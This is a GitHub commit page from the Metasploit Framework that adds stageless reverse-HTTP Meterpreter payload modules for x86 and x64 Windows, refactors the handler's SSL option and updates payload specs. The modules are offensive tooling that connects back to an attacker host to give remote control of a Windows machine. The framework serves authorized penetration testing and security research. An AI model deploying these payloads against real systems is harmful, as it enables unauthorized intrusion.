Skip to content

Commit 27fa879

Browse files
author
Brent Cook
committed
Land rapid7#5095 - OJ adds stageless http transports
2 parents a54182a + 9fd4087 commit 27fa879

File tree

6 files changed

+140
-27
lines changed

6 files changed

+140
-27
lines changed

lib/msf/core/handler/reverse_http/stageless.rb

Lines changed: 16 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -26,35 +26,30 @@ def initialize_stageless
2626
], self.class)
2727
end
2828

29-
def generate_stageless(&block)
30-
url = "https://#{datastore['LHOST']}:#{datastore['LPORT']}#{generate_uri_uuid_mode(:connect)}/"
29+
def generate_stageless(opts={})
30+
unless opts[:generator]
31+
raise ArgumentError, "Stageless generation requires a generator argument"
32+
end
3133

32-
unless block_given?
33-
raise ArgumentError, "Stageless generation requires a block argument"
34+
if opts[:ssl].nil?
35+
raise ArgumentError, "Stageless generation requires an ssl argument"
3436
end
3537

36-
# invoke the given function to generate the architecture specific payload
37-
block.call(url) do |dll|
38+
url = "http#{opts[:ssl] ? "s" : ""}://#{datastore['LHOST']}:#{datastore['LPORT']}"
39+
url << "#{generate_uri_uuid_mode(:connect)}/"
3840

39-
# TODO: figure out this bit
40-
# patch the target ID into the URI if specified
41-
#if opts[:target_id]
42-
# i = dll.index("/123456789 HTTP/1.0\r\n\r\n\x00")
43-
# if i
44-
# t = opts[:target_id].to_s
45-
# raise "Target ID must be less than 5 bytes" if t.length > 4
46-
# u = "/B#{t} HTTP/1.0\r\n\r\n\x00"
47-
# print_status("Patching Target ID #{t} into DLL")
48-
# dll[i, u.length] = u
49-
# end
50-
#end
41+
# invoke the given function to generate the architecture specific payload
42+
opts[:generator].call(url) do |dll|
5143

52-
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
53-
datastore['HandlerSSLCert'])
44+
verify_cert_hash = nil
45+
if opts[:ssl]
46+
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
47+
datastore['HandlerSSLCert'])
48+
end
5449

5550
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(dll,
5651
:url => url,
57-
:ssl => true,
52+
:ssl => opts[:ssl],
5853
:ssl_cert_hash => verify_cert_hash,
5954
:expiration => datastore['SessionExpirationTimeout'].to_i,
6055
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/handler/reverse_http'
8+
require 'msf/core/handler/reverse_http/stageless'
9+
require 'msf/core/payload/windows/stageless_meterpreter'
10+
require 'msf/base/sessions/meterpreter_x86_win'
11+
require 'msf/base/sessions/meterpreter_options'
12+
13+
module Metasploit4
14+
15+
CachedSize = :dynamic
16+
17+
include Msf::Payload::Windows::StagelessMeterpreter
18+
include Msf::Handler::ReverseHttp::Stageless
19+
include Msf::Sessions::MeterpreterOptions
20+
21+
def initialize(info = {})
22+
23+
super(merge_info(info,
24+
'Name' => 'Windows Meterpreter Shell, Reverse HTTP Inline',
25+
'Description' => 'Connect back to attacker and spawn a Meterpreter shell',
26+
'Author' => [ 'OJ Reeves' ],
27+
'License' => MSF_LICENSE,
28+
'Platform' => 'win',
29+
'Arch' => ARCH_X86,
30+
'Handler' => Msf::Handler::ReverseHttp,
31+
'Session' => Msf::Sessions::Meterpreter_x86_Win
32+
))
33+
34+
initialize_stageless
35+
end
36+
37+
def generate
38+
# generate a stageless payload using the x86 version of
39+
# the stageless generator
40+
opts = {
41+
:ssl => false,
42+
:generator => method(:generate_stageless_x86)
43+
}
44+
generate_stageless(opts)
45+
end
46+
47+
end

modules/payloads/singles/windows/meterpreter_reverse_https.rb

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,6 @@
77
require 'msf/core/handler/reverse_https'
88
require 'msf/core/handler/reverse_http/stageless'
99
require 'msf/core/payload/windows/stageless_meterpreter'
10-
require 'msf/core/payload/uuid_options'
1110
require 'msf/base/sessions/meterpreter_x86_win'
1211
require 'msf/base/sessions/meterpreter_options'
1312

@@ -38,8 +37,11 @@ def initialize(info = {})
3837
def generate
3938
# generate a stageless payload using the x86 version of
4039
# the stageless generator
41-
generate_stageless(&method(:generate_stageless_x86))
40+
opts = {
41+
:ssl => true,
42+
:generator => method(:generate_stageless_x86)
43+
}
44+
generate_stageless(opts)
4245
end
4346

4447
end
45-
Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/handler/reverse_http'
8+
require 'msf/core/handler/reverse_http/stageless'
9+
require 'msf/core/payload/windows/x64/stageless_meterpreter'
10+
require 'msf/base/sessions/meterpreter_x64_win'
11+
require 'msf/base/sessions/meterpreter_options'
12+
13+
module Metasploit4
14+
15+
CachedSize = :dynamic
16+
17+
include Msf::Payload::Windows::StagelessMeterpreter_x64
18+
include Msf::Handler::ReverseHttp::Stageless
19+
include Msf::Sessions::MeterpreterOptions
20+
21+
def initialize(info = {})
22+
23+
super(merge_info(info,
24+
'Name' => 'Windows Meterpreter Shell, Reverse HTTP Inline (x64)',
25+
'Description' => 'Connect back to attacker and spawn a Meterpreter shell',
26+
'Author' => [ 'OJ Reeves' ],
27+
'License' => MSF_LICENSE,
28+
'Platform' => 'win',
29+
'Arch' => ARCH_X64,
30+
'Handler' => Msf::Handler::ReverseHttp,
31+
'Session' => Msf::Sessions::Meterpreter_x64_Win
32+
))
33+
34+
initialize_stageless
35+
end
36+
37+
def generate
38+
# generate a stageless payload using the x64 version of
39+
# the stageless generator
40+
opts = {
41+
:ssl => false,
42+
:generator => method(:generate_stageless_x64)
43+
}
44+
generate_stageless(opts)
45+
end
46+
47+
end

modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -37,9 +37,11 @@ def initialize(info = {})
3737
def generate
3838
# generate a stageless payload using the x64 version of
3939
# the stageless generator
40-
generate_stageless(&method(:generate_stageless_x64))
40+
opts = {
41+
:ssl => true,
42+
:generator => method(:generate_stageless_x64)
43+
}
44+
generate_stageless(opts)
4145
end
4246

4347
end
44-
45-

spec/modules/payloads_spec.rb

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2453,6 +2453,16 @@
24532453
reference_name: 'windows/meterpreter_bind_tcp'
24542454
end
24552455

2456+
context 'windows/meterpreter_reverse_http' do
2457+
it_should_behave_like 'payload cached size is consistent',
2458+
ancestor_reference_names: [
2459+
'singles/windows/meterpreter_reverse_http'
2460+
],
2461+
dynamic_size: true,
2462+
modules_pathname: modules_pathname,
2463+
reference_name: 'windows/meterpreter_reverse_http'
2464+
end
2465+
24562466
context 'windows/meterpreter_reverse_https' do
24572467
it_should_behave_like 'payload cached size is consistent',
24582468
ancestor_reference_names: [
@@ -3529,6 +3539,16 @@
35293539
reference_name: 'windows/x64/meterpreter_bind_tcp'
35303540
end
35313541

3542+
context 'windows/x64/meterpreter_reverse_http' do
3543+
it_should_behave_like 'payload cached size is consistent',
3544+
ancestor_reference_names: [
3545+
'singles/windows/x64/meterpreter_reverse_http'
3546+
],
3547+
dynamic_size: true,
3548+
modules_pathname: modules_pathname,
3549+
reference_name: 'windows/x64/meterpreter_reverse_http'
3550+
end
3551+
35323552
context 'windows/x64/meterpreter_reverse_https' do
35333553
it_should_behave_like 'payload cached size is consistent',
35343554
ancestor_reference_names: [

0 commit comments

Comments
 (0)